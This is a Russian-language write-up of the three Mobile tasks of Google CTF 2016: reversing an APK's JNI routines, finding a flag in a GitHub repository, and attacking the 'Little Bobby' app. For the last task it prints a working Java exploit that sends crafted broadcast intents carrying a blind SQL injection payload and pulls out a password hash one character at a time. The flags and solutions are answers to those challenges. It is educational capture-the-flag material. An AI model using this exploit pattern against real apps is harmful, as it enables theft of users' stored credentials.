Разбор заданий с Google CTF 2016: Mobile

от автора


Intro

В этом году Google впервые организовал соревнования по захвату флага — Google Capture The Flag 2016. Соревнования длились двое суток, за время которых нужно было выжать из предлагаемых тасков как можно больше флагов. Формат соревнования — task-based / jeopardy.

Как заявил гугл, задания для этого CTF составляли люди, являющиеся сотрудниками команды безопасности гугла. Поэтому интерес к данным таскам, как и к первому GCTF в целом, был достаточно велик — всего зарегистрировалось ~2500 команд, из которых только 900 набрали хотя бы 5 очков на решении тасков (опустим ботов и немногочисленные попытки играть нечестно). Принять участие можно было любому желающему, начиная от rookie и любителей безопасности и заканчивая легендами отраслей. Кроме того, можно было участвовать и в одиночку.

Так как я специализируюсь в основном на безопасности мобильных приложений, то большую часть от 2х суток я ковырял задания категории Mobile. И в этом хабе будут представлены writeup`ы всех тасков из этой категории. Гугл предложил всего 3 задания для этой категории(в других было по 5-6), но от этого они были, возможно, даже более качественными.

Ну ладно, вода закончилась, переходим к сути 🙂

1. Ill Intentions

Таск звучит так:

Do you have have ill intentions?
Ill Intentions.APK

По шкале сложности от 5 до 300 за успешное решение этого таска предлагалось 150 очков.

Итак, перед нами APK и больше ничего. Первое, что приходит на ум — установка пакета на эмулятор и декомпиляция пакета. Этим и займемся.
Здесь и далее не будем останавливаться на технических деталях, но все же стоит сказать, что сделать декомпайл с недавних пор стало можно с помощью полностью автоматизированной GUI-тулзы APK Studio. С ее помощью можно автоматизировать процесс декомпиляции и последующей сборки+подписи APK. Понятно, что весь «автомат» строится на той же связке apktool+dex2jar+(java декомпилятор, например jd). Но я предпочитаю «старинку» и произвожу декомпиляцию APK в полу-ручном режиме aka «apktool+dex2jar+jd-gui+(набор своих скриптов)».

Попытаемся установить «недобрые намерения» на эмулятор, предварительно посмотрев минимальную версию SDK Android:

У меня в распоряжении эмуляторов с шестым андройдом(Marshmallow) и на 1 версию ниже не оказалось, поэтому я решил пойти другим путем: преобразовать низкоуровневый Smali-код в Java код(classes.dex -> JAR`ник) и уже из java-исходников реконструировать приложение. Однако, не все оказалось так сладко.

Если заглянуть в манифест приложения:

то там можно увидеть 4 активности, первая из которых не представляет никакого интереса, а последующие 3 явно говорят своими именами, что они причастны к флагу. Посмотрев в реконструированный Java-код любой из тех трёх можно увидеть интересную вещь:

И вещь заключается в том, что рутина по вычислению флага частично вынесена на более низкий уровень кода — на уровень JNI.
Что ж, руки чешутся сразу же отыскать в нативном C++ коде функцию computeFlag() . Для этого нам нужно произвести дизассемблирование нативной библиотеки(.so).
Но то, что там(а точнее, чего там нет) не обрадует:

IDA не говорит ни слова про computeFlag() в либе… да и в Java-коде нет нигде вызова этой функции — только импорт.
Делаем вывод, что ребята из гугла таким образом просто постебались =)

Возвращаемся к идее о реконструкции приложения(создание своего идентичного APK). Миграция Java-кода и его «дореконструкция» не составляет проблемы, но вот что реально может их создать — импорт нативных функций. Их имена уже были выше, вот они:

  • Java_com_example_application_IsThisTheRealOne_perhapsThis
  • Java_com_example_application_ThisIsTheRealOne_orThat
  • Java_com_example_application_DefinitelyNotThisOne_definitelyNotThis

Последняя функция говорит за себя(стеб от гугла уже закончился) — если ее дизассемблировать и посмотреть, то можно будет увидеть, что из нее возвращается статическая строчка — «Told you so!», поэтому про нее сразу забываем.

Имена нативных функций содержат название пакета+название класса, из которого(и только из которого) они могут быть вызваны в Java-коде — в противном случае на стадии вызова функции из высокоуровневого кода возникнет ошибка. Поэтому реставрируемое приложение должно в точности повторять имена, используемые в оригинальном APK, а вызов нативных JNI-функций должен происходить из соответствующих Java-классов.

Зная это, производим реставрацию кода. Код класса ThisIsTheRealOne и IsThisTheRealOne во многом идентичны — различается только рутина по вычислению строки(флага?) в методе клика по кнопке onClick()(см.выше).
Произведем модификацию кода, обрабатывающего клик, добавив в его конец вывод вычисленных строк в лог Android-приложения:

Log.d("CTF", i.getStringExtra("msg")); 

Собрав приложение, открывать активности (ThisIsTheRealOne и IsThisTheRealOne) придется с помощью ADB утилиты AM(activity manager), т.к интерфейс приложения не позволяет этого делать в gui-режиме (хотя это можно исправить, дописав 5 строчек кода, но лень).

Вот вычисленная строка из активности ThisIsTheRealOne:

KeepTryingThisIsNotTheActivityYouAreLookingForButHereHaveSomeInternetPoints!

А вот из IsThisTheRealOne:

Congratulation!YouFoundTheRightActivityHereYouGo-CTF{IDontHaveABadjokeSorry}

Вместе с флагом, который говорит о том, что гугл плохо не шутит. Снова стёб? 🙂

2. Can you repo it?

Таск звучит так:

Do you think the developer of Ill Intentions knows how to set up public repositories?

По шкале сложности от 5 до 300 за успешное решение этого таска предлагалось всего 5 очков.

Во время исследования «нехороших намерений» под руку попался файл ресурсов Android приложения, содержащий строки. Там обычно много всего интересного, и этот раз не стал исключением:

Сразу видим flag, частотный криптоанализ содержимого которого показывает, что это, скорее всего, шифр Цезаря. И правда, оказался Rot-13, но гугл стебется над тем, кто правда думает, что даже 5 баллов могут даться так просто. Делаем Rot-13(Rot-13()):

Did you think it would be that easy?

Ок. Придется думать, что ж. Нужно найти некий публичный репозиторий. Скорее всего, это GitHub. И для того, чтобы найти на его просторах флаг, необходимо что-то поистине уникальное(имя юзера или репозитория). Прямо под флагом как раз то, что и может быть таким «поистине уникальным»:

l33tdev42

Простой гуглинг не дает результатов, что поначалу как-то выбивает из сил… но перейдя на гитхаб и произведя поиск «l33tdev42» там, натыкаемся на уникального юзера:

У которого 1 единственный проект с 3 коммитами… проект простоват, а коммита целых три:

Внутри последнего как раз нужный флаг:

ctf{TheHairCutTookALoadOffMyMind}

Признаться, 5 баллов — все же маловато за такой таск…
Это был самый первый таск из Mobile, который удалось затащить. После него показалось, что в тасках за 150 и более находятся в принципе нерешабельные задачи, но, как уже и говорилось, гугл стебется 🙂

3. Little Bobby Application

Таск звучит так:

Find the vulnerability, develop an exploit, and when you’re ready,
submit your APK to bottle-brush-tree.ctfcompetition.com.
Can take up to 15 minutes to return the result.

BobbyApplication_CTF.apk

По ссылке:
Upload an APK, wait a bit for your target to load your malicious APK, and get the logs…

По шкале сложности от 5 до 300 за успешное решение этого таска предлагалось 250 очков.

Нужно найти уязвимость в Android-приложении, написать эксплоит и с помощью этого эксплоита вытащить флаг из реального юзера. Анализ работоспособности эксплоита происходит на эмуляторе на сервере. Спустя в среднем 13 минут возвращается лог приложения-эксплоита, в который можно писать все, что угодно, но лучше туда писать флаг, конечно же.
На первый взгляд страшновато, но не стоит забывать о том, что гугл любит стебаться.

Вот как выглядит Bobby-приложение:

Простенькая форма для авторизации и возможность регистрации. Что ж, декомпайл-тайм!
Декомпиляция показала, что приложение использует Sqlite для хранения данных с интересно спроектированной таблицей Users:

Флаг говорит о том, что инъекция — это все, что нужно сделать, чтобы получить флаг.
Динамическая часть флага — md5 от пароля пользователя. Этот-то хэш и нужно утащить с помощью эксплоита, чтобы «собрать» конечный флаг.

Ищем уязвимость.

Этот процесс прошел достаточно быстро. Приложение содержало всего 8 классов и найти уязвимый модуль не составило проблемы. Уязвимость заключалась в следующем: при старте приложение регистрировало приемник широковещательных событий, поступаемых извне:

Обработчиком входящих broadcast`ов выступал класс-наследник BroadcastReceiver, в котором содержался следующий код:

А вот имплементация метода checkLogin():

Как видно, метод не фильтрует входящие данные, которые потом используются при генерации «сырого» SQL-запроса к базе.
Ручная эксплуатация показала, что там действительно дырка в безопасности, позволяющая модифицировать запрос через форму.

Также видно, что это Blind SQLi, так как метод checkLogin() возвращает статические строки, независимые от инпута.
Но тем не менее в зависимости от количества выбранных запросом записей(больше нуля) мы можем управлять поведением этого метода, высасывая с каждым злонамеренным запросом 1 бит информации о любом поле таблицы БД (да и о самой БД и вообще о чем угодно), но нас интересует поле password, как уже говорилось выше, для «сборки» флага.

Пишем эксплоит.

Алгоритм эксплоита:

  1. Запустить Bobby-приложение для того, чтобы оно запустило приемник broadcast-событий
  2. Формировать malicious intent для приемника с «злыми» данными
  3. Слать широковещательное событие с интентом, содержащим вредоносные данные
  4. Получать ответ от приемника Bobby-приложения о результате
  5. Повторять до тех пор, пока все нужные данные не будут посимвольно «высосаны»

Для реализации эксплоита достаточно двух классов. Код получился небольшой, поэтому он приведен ниже:

Главная активность эксплоита:

public class Main extends Activity {          // Поиск символов по всей таблице символов Unicode     static int L = 0, R = (int)Math.pow(2,16);     public static int symbolNum = 0;          public static Main activity = null;     public static StringBuilder flag = new StringBuilder();      public static void SendBroadcast()     {                  if(Main.symbolNum>32)         {             Main.Finish();             return;         }          // Формируем вредоносное намерение.         // Эксплуатация уязвимости будет происходить с использованим бинарного поиска         int M = (L+R)/2;          Intent maliciousIntent = new Intent();         maliciousIntent.setAction("com.bobbytables.ctf.myapplication_INTENT");         maliciousIntent.putExtra("username", "???\" or unicode(substr(password," + symbolNum + ",1))>" + M + " -- ");         maliciousIntent.putExtra("password", "1");         activity.sendBroadcast(maliciousIntent);              }      public static void Finish()     {         // Выводим в лог найденный флаг         Log.d("FLAG", Main.flag.toString());         Main.activity.finish();     }      @Override     protected void onCreate(Bundle savedInstanceState) {         super.onCreate(savedInstanceState);         activity = this;          // Регистрируем приемник широковещательных событий(ответов) от onReceive() Bobby-приложения         IntentFilter filter = new IntentFilter("com.bobbytables.ctf.myapplication_OUTPUTINTENT");         registerReceiver(new MalReceiver(), filter);          // Запускаем Bobby-приложение         // (в совершенстве - нужно следить, чтобы в системе был единственный экземпляр)         PackageManager pm = getPackageManager();         Intent intent = pm.getLaunchIntentForPackage("bobbytables.ctf.myapplication");         if (intent != null){             startActivity(intent);         }          // Ждем некоторое время, пока активность вместе с интересующим приемником развернется         Handler handler = new Handler();         handler.postDelayed(new Runnable() {             @Override             public void run() {                 SendBroadcast();             }         }, 2000);      }  } 

Приемник ответов от Bobby:

public class MalReceiver extends BroadcastReceiver {     @Override     public void onReceive(Context context, Intent intent) {          // Получаем ответ от Bobby-приложения         String answer = intent.getStringExtra("msg");          // SQL TRUE         if(answer.compareToIgnoreCase("Incorrect password")==0)         {             // Ищем дальше             Main.L = (Main.L + Main.R)/2;         }         // SQL FALSE         else{             // Ищем дальше             Main.R = (Main.L + Main.R)/2;         }          // Нашли N-ый символ хэша пароля         if(Main.R-Main.L <= 1)         {             Main.flag.append((char)Main.R);             Main.symbolNum++;             Main.L = 0; Main.R = (int)Math.pow(2,16);         }          Main.SendBroadcast();      } } 

После этого осталось только отправить эксплоит на сервер, чтобы его протестировали.
Через 15 минут…

Гугл возвращает долгожданный лог, в котором обнаруживаем:

Осталось плевое дело — подставить во флаг полученный хэш:

ctf{An injection is all you need to get this flag - 106b826d7d5ec465b0c5d385a41c6ff6}

Все.

Теперь немного о том, как гугл стебался над теми, кто пытался решить этот таск. Это было довольно хитро — они сразу же после старта на эмуляторе эксплоита с Bobby-приложением стартовали обезьяну(было видно в возвращенном логе), которая «бомбила» рандомными действиями все компоненты системы, из-за чего, например, время от времени закрывалась активность эксплоита. Поначалу было неясно, что прерывало работу эксплоита — ошибок в логе не было, возникали впечатления, что там ограничение по времени. Удачно высосать флаг удалось только с 3 попытки.

В коде экспоита выше приведен минимальный набор действий, демонстрирующий общую концепцию.
То, что реально получилось на практике, содержит тонну кода по защите от monkey, по запрету на запуск более 1 экземпляра приемника на стороне Bobby и т.д.

Outro

Так как я сосредоточился на безопасности мобильных приложений, то в полной мере оценить «фан» тасков от гугла мне едва ли удалось, но исходя из того, что пришлось преодолеть, могу точно сказать, что GCTF получился довольно интересным, и во многом интерес обеспечен многочисленными попытками стеба над участниками. В такие моменты, когда ты понимаешь, что над тобой снова «постебались», чувствуешь прилив какой-то «черной» мотивации =)

Спасибо, гугл, было интересно 😉

ссылка на оригинал статьи https://habrahabr.ru/post/282846/


Комментарии

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *